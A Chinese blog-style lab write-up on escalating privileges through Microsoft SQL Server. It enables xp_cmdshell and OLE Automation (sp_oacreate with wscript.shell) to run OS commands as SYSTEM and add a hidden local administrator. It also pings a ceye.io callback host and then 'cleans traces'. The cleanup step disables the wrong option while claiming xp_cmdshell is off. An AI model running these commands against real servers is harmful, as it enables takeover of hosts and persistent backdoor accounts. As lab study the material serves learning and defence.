数据库提权,Mssql xp_cmdshell提权
针对Mssql xp_cmdshell提权的学习实践,SQL Server2008/2012及以前版本基本都能用,但是2016或更高版本部分不能用,或者SA权限太低,导致无法提权。数据库提权的方式也不止有Mssql xp_cmdshell一种,之后更多的提权方式也是我更应该学习的地方。
1.概念
Mssql和SQL sever的一个产品的不同名称。都属于微软公司旗下。而上述Mssql xp_cmdshell提权也属于数据库提权的一种。
主要依赖于sql server自带的存储过程。
1.1xp_cmdshell提权
扩展存储过程中xp_cmdshell是一个开放接口,可以让sql sever调用cmd命令。
此过程在 SQL sever2000中默认开启,2005本身及之后版本默认禁止。若想使用,则先需拥有SA账户相应权限,使用sp_configure将其开启。
原理:是在xp_cmdshell的扩展储存过程,通过执行命令方式利用操作系统权限。SA是Microsoft SQLsever的管理员账号,拥有最高权限,可以执行扩展存储过程,并获得返回值。
2005的xp_cmdshell权限一般为system,2008多数为nt authority\network service
1.2xp_cmdshell提权前提
- 拿到sa权限的账户密码
- sqlsever服务未降权
2.环境
实验环境:Windows 7系统、SQL Server 2008版本64位
3.操作
3.1从官网下载SQL sever2008 x64 SQLExprAdva版本
SQLExprAdva(包含数据库引擎、Express Tools、Reporting Services 和全文搜索),此包包含 SQL Express 的所有组件。此包的下载大小大于“带有工具”的版本,因为它还同时包含“全文搜索”和 Reporting Services。
3.2安装sql sever环境
![![[Pasted image 20230703114736.png]]](https://i-blog.csdnimg.cn/blog_migrate/510c72629e55f10f95c9a99e99307ca4.png)
3.3对所有SQL Server服务使用相同的账户,然后选在system账户(决定了之后提权是否是system权限)
![![[Pasted image 20230703165256.png]]](https://i-blog.csdnimg.cn/blog_migrate/0d96e62473d669219b2bc8e074d6eb41.png)
3.4初始化,服务器名称填写lcn-PC(同主机名)![![[Pasted image 20230703115936.png]]](https://i-blog.csdnimg.cn/blog_migrate/31f34a7db0f9143d33ae2985633bdc0e.png)
3.5配置重启数据库
点击数据库属性,然后直接确定;之后点击重新启动数据库。![![[Pasted image 20230703171603.png]]](https://i-blog.csdnimg.cn/blog_migrate/86a34a50bcc631a9a68f598e198cde3f.png)
3.6添加SA用户,并修改密码
SQL Server提权需要获取SA用户权限,即设置SA用户并设置密码(123456)。
![![[Pasted image 20230703171855.png]]](https://i-blog.csdnimg.cn/blog_migrate/6b62eddd7010abe1c58dd38e8566c515.png)
3.7设置权限,在SA服务器角色中修改最高权限为public和sysadmin。
![![[Pasted image 20230703172148.png]]](https://i-blog.csdnimg.cn/blog_migrate/baccb816625ad3e56f9e28aff22f372c.png)
3.8设置外联;勾选允许连接到数据库引擎并启用登录;
![![[Pasted image 20230703172512.png]]](https://i-blog.csdnimg.cn/blog_migrate/e2989400371fb791493331b6cf60889e.png)
3.9 设置好之后重启数据库
3.10测试外联;打开SQL server配置管理器的网络设置,检查TCP/IP协议是否开启,之后使用navicat进行连接。
![![[Pasted image 20230703172934.png]]](https://i-blog.csdnimg.cn/blog_migrate/1c3aa79dd6505824cc3dd0b132d1f3a0.png)
成功连接到navicat 16;![![[Pasted image 20230704102157.png]]](https://i-blog.csdnimg.cn/blog_migrate/3c9aaec97fe73eb4aaf000874577dae9.png)
4.提权操作
4.1查看组件
执行操作
SELECT count(*)FROM master.dbo.sysobjects WHERE xtype='x' and name='xp_cmdshell'; #查看系统实例中是否有xp_cmdshell存储过程;返回行数>0则有,=0则无
![![[Pasted image 20230704105545.png]]](https://i-blog.csdnimg.cn/blog_migrate/b34235781b287273f76dc7c02cbd9028.png)
4.2若无组件,则开启组件
执行指令:
开启:
EXEC sp_configure 'show advanced options', 1; #将高级选项改为1,即启用
RECONFIGURE ; #若使用with override覆盖任何已存在配置,重新配置SQL Server实例应用刚更改的参数
EXEC sp_configure xp_cmdshell', 1;#同1 ,1表示启用,若关闭则为0,别的不变;
RECONFIGURE;
![![[Pasted image 20230704095937.png]]](https://i-blog.csdnimg.cn/blog_migrate/1bda6983d1bef496560daa9379a691b1.png)
4.2执行命令,之后执行的命令都是以system权限执行
![![[Pasted image 20230703193821.png]]](https://i-blog.csdnimg.cn/blog_migrate/dae9848cee5e503eaccb01a4dc4be62a.png)
4.3之后执行添加用户命令操作指令,结果成功
exec master..xp_cmdshell 'net user lusang 123456 /add'; #创建用户lusang并设置密码为123456;..表示引用master数据库中的xp_cmdshell存储过程,省略指定数据库名称
exec master..xp_cmdshell 'net localgroup administrators lusang /add';#将用户lusang加入管理员工作组
![![[Pasted image 20230704104131.png]]](https://i-blog.csdnimg.cn/blog_migrate/a0c0336b81b731e9619aabd106c916a4.png)
查看已经显示用户创建成功;![![[Pasted image 20230704104040.png]]](https://i-blog.csdnimg.cn/blog_migrate/cf9347a3cf95b565a717011e7f7baa3d.png)
4.4利用完权限后,清理痕迹
执行操作将两项配置还原为0;
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;
EXEC master.dbo.xp_cmdshell 'whoami'; #显示已经关闭xp_cmdshell接口
![![[Pasted image 20230704122736.png]]](https://i-blog.csdnimg.cn/blog_migrate/3177dda2fc3f40be3686e899a6f00f59.png)
5.Ole提权(Object Linking and Embedding)
当xp_cmdshell不可用时,则可以利用sp_oacreate提权;其本身是一个很危险的存储过程,可以删除、复制、移动文件,或者是配合sp_oamethod来写文件执行cmd命令。
提权条件:系统管理员使用sp_configure启用sp_oacreate和sp_oamethod系统存储过程对OLE自动化过程的访问。
5.1判断组件是否存在
执行指令:
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'; #返回0证明不存在,返回1则存在
![![[Pasted image 20230704120951.png]]](https://i-blog.csdnimg.cn/blog_migrate/5cd4218e03c3efe083321dbed2485094.png)
5.2开启组件
执行指令
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE; #使用with override覆盖任何已存在配置,重新配置SQL Server实例应用刚更改的参数
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
![![[Pasted image 20230704123159.png]]](https://i-blog.csdnimg.cn/blog_migrate/ee3f8811bd0ffe7b9ef60f0312254295.png)
5.3执行组件
执行指令:
declare @cmd INT;
EXEC sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'ping cqy1eo.ceye.io','0','true';
#通过OLE Automation创建了一个WScriot.Shell对象,之后用run方式执行指定的命令行操作,ping操作,0是窗口样式参数,表示隐藏命令行窗口,true表示等待命令执行完毕。
![![[Pasted image 20230704124613.png]]](https://i-blog.csdnimg.cn/blog_migrate/e682a795e27f5f6530d4656ad4bc762c.png)
5.4之后尝试创建用户
daclare @cmd INT;
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user test1 123456 /add','0','true';
![![[Pasted image 20230704125757.png]]](https://i-blog.csdnimg.cn/blog_migrate/ffc62747e145220e01a7b07bfd1e456a.png)
查看显示创建成功;![![[Pasted image 20230704130022.png]]](https://i-blog.csdnimg.cn/blog_migrate/d39def1a1ae7ab38b313e0d6ee31fa09.png)
5.5恢复环境,清理痕迹
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
![![[Pasted image 20230704130256.png]]](https://i-blog.csdnimg.cn/blog_migrate/09bff9a79953c367f4181ea5c7d94949.png)
6.总结
针对Mssql xp_cmdshell提权的学习实践,SQL Server2008/2012及以前版本基本都能用,但是2016或更高版本部分不能用,或者SA权限太低,导致无法提权。
数据库提权的方式也不止有Mssql xp_cmdshell一种,之后更多的提权方式也是我更应该学习的地方。
更多推荐


所有评论(0)